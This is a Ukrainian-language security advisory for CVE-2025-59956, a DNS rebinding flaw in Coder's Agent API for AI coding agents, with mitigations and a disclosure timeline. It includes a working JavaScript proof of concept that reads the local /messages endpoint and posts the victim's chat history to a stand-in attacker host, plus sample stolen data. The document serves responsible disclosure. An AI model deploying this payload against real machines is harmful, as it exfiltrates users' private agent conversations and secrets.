Автор: Evan Harris
Уражений компонент: Agent API від Coder
CVE: CVE-2025-59956
Оцінка CVSS 3.1: 6.5 (Середній) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Огляд

Agent API від Coder є HTTP API з відкритим кодом для Claude Code, Goose, Aider, Gemini, Amp та Codex.

MCPSec виявив вразливість DNS rebinding в Agent API, яка дозволяє віддаленим зловмисникам вивантажити історію повідомлень користувача в Claude Code.

Coder виправив цю проблему у випуску v0.4.0. Користувачам Agent API слід оновитися до цієї версії або новішої.

Наслідки

Зловмисники отримують повний GET-доступ до точки доступу /messages, яку обслуговує Agent API.

Це уможливлює неавторизоване вивантаження конфіденційних даних користувача, зокрема локальної історії повідомлень, яка може містити секретні ключі, вміст файлової системи та інтелектуальну власність, над якою користувач працює локально.

DNS rebinding може відбутися протягом кількох секунд після підключення до зловмисного вебсервера.

Proof of Concept

Візьмімо такі припущення:

  • Машина жертви запускає Agent API.
  • Жертва переходить на зловмисний вебсайт.
  • Вебсайт виконує атаку DNS rebinding, щоб змусити вебпереглядач жертви взаємодіяти з вразливим Agent API від імені зловмисника.

Після завершення DNS rebinding зловмисник може використовувати локально обслуговувану точку доступу /messages. Усю історію чату жертви з Agent API може бути вивантажено на сервер зловмисника.

MCPSec виконав атаку proof of concept у такий спосіб:

  1. Розгорнути застосунок DNS rebinding (наприклад, Singularity of Origin).

  2. Сконструювати корисне навантаження, що обслуговується зловмисним вебсайтом, для отримання та вивантаження даних.

Цей код JavaScript, що обслуговується зі зловмисного сайту, отримує історію повідомлень і надсилає її зловмиснику.

const AgentAPI = () => {
  function attack(headers, cookie, body) {
    fetch('http://localhost:3284/messages', {
      method: 'GET',
      mode: "cors",
    }).then(response => {
      const ATTACKER_SERVER = 'https://attacker.com/steal'
      response.json().then(victimMessageHistory => {
        fetch(ATTACKER_SERVER, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
          },
          body: JSON.stringify(victimMessageHistory)
        }).then(r => {
          console.log("attacker server response", r)
        }).catch(e => {
          console.error('failed to post', e)
        })
      }).catch(e => {
        console.error('failed to parse response ', e)
      })
    }).catch(e => {
      console.error("failed to get messages", e)
    })
  }

  // Invoked to determine whether the rebinded service
  // is the one targeted by this payload. Must return true or false.
  async function isService(headers, cookie, body) {
    let controller = new AbortController();
    let signal = controller.signal;
    return timeout(1000, fetch(`http://localhost:3284/docs`, {
        mode: 'no-cors',
        credentials: 'omit',
        signal
      }), controller)
      .then(response => {
        return true;
      })
      .catch(e => {
        return (false);
      })
  }

  return {
    attack,
    isService
  }
}

Registry["AgentAPI"] = AgentAPI();

Точка доступу /messages обслуговується на локальній машині жертви та відповідає її історією чату при запиті.

  1. Зловмисник повинен запустити сервер збору даних, який отримуватиме POST-запит. Вмістом POST-запиту має бути відповідь від точки доступу /messages Agent API жертви.

На машині жертви Agent API попросили перевірити локальну файлову систему. Ось що було надіслано на сервер збору даних зловмисника:

Нижче наведено приклад даних JSON, викрадених у жертви, яка запитала агента про свою локальну файлову систему.

{
  "$schema": "http://localhost:3284/schemas/MessagesResponseBody.json",
  "messages": [{
    "id": 0,
    "content": "╭───────────────────────────────────────────────────╮ \n│ ✻ Welcome to Claude Code! │ \n│ │ \n│ /help for help, /status for your current setup │ \n│ │ \n│ cwd: /home/evan/Downloads │ \n╰───────────────────────────────────────────────────╯ \n \n ※ Tip: Press Esc twice to edit your previous messages ",
    "role": "agent",
    "time": "2025-07-25T11:20:04.988043205+02:00"
  }, {
    "id": 1,
    "content": "Hello, agent!",
    "role": "user",
    "time": "2025-07-25T13:11:16.699082236+02:00"
  }, {
    "id": 3,
    "content": "tell me about my filessytem",
    "role": "user",
    "time": "2025-07-25T13:14:51.120102556+02:00"
  }, {
    "id": 4,
    "content": "● I'll explore your filesystem to show you what's in your current directory \n and its structure. \n \n● List(.) \n ⎿ Listed 1048 paths (ctrl+r to expand) \n \n● Your Downloads directory contains a wide variety of files: \n \n Documents & PDFs [REDACTED_FOR_MY_OWN_SECURITY] The directory appears to be a typical developer's Downloads folder with a \n mix of tools, documents, and research materials, particularly focused on \n AI/ML security research.",
    "role": "agent",
    "time": "2025-07-25T13:15:10.681040365+02:00"
  }]
}

Рекомендовані пом’якшення

Для користувачів (негайно)

  • Оновіться до версії Agent API v0.4.0 або новішої негайно. Ця версія містить виправлення вразливості.

Для розробників (у довгостроковій перспективі)

  • Впровадьте надійну перевірку заголовка Host для всіх локально обслуговуваних HTTP API, щоб запобігти DNS rebinding.
  • Впровадьте захист CSRF, щоб запобігти іншим формам міжоригінних атак.
  • Додайте попередження про безпеку в документацію для інструментів, що відкривають локальні мережеві сервіси.

Про цю вразливість було повідомлено команді Coder згідно з практиками відповідального розкриття. Coder швидко відреагував і виправив проблему.

Хронологія розкриття

  • 2025-07-25: Початковий звіт про вразливість надіслано Coder.
  • 2025-07-25: Coder підтверджує отримання звіту.
  • 2025-07-29: Coder повідомляє, що зміг відтворити та підтвердити сценарій атаки.
  • 2025-08-13: Вразливість виправлено.
  • 2025-08-21: Coder вирішив призначити винагороду за звіт про безпеку.
  • 2025-09-09: Узгоджено взаємоприйнятну дату публікації бюлетеня.
  • 2025-09-19: Бюлетень безпеки оприлюднено.

Висновок

Вразливість DNS rebinding в Agent API від Coder демонструє критичний виклик для безпеки в зростаючій екосистемі локальних інструментів розробки на основі ШІ. Хоча ці інструменти пропонують потужні можливості, їх потрібно створювати з пріоритетом безпеки, щоб захистити від вебзагроз.

Висловлюємо подяку команді Coder за оперативну та професійну реакцію у виправленні цієї вразливості. Усім користувачам Agent API слід оновитися до останньої версії, щоб забезпечити свій захист.

Джерела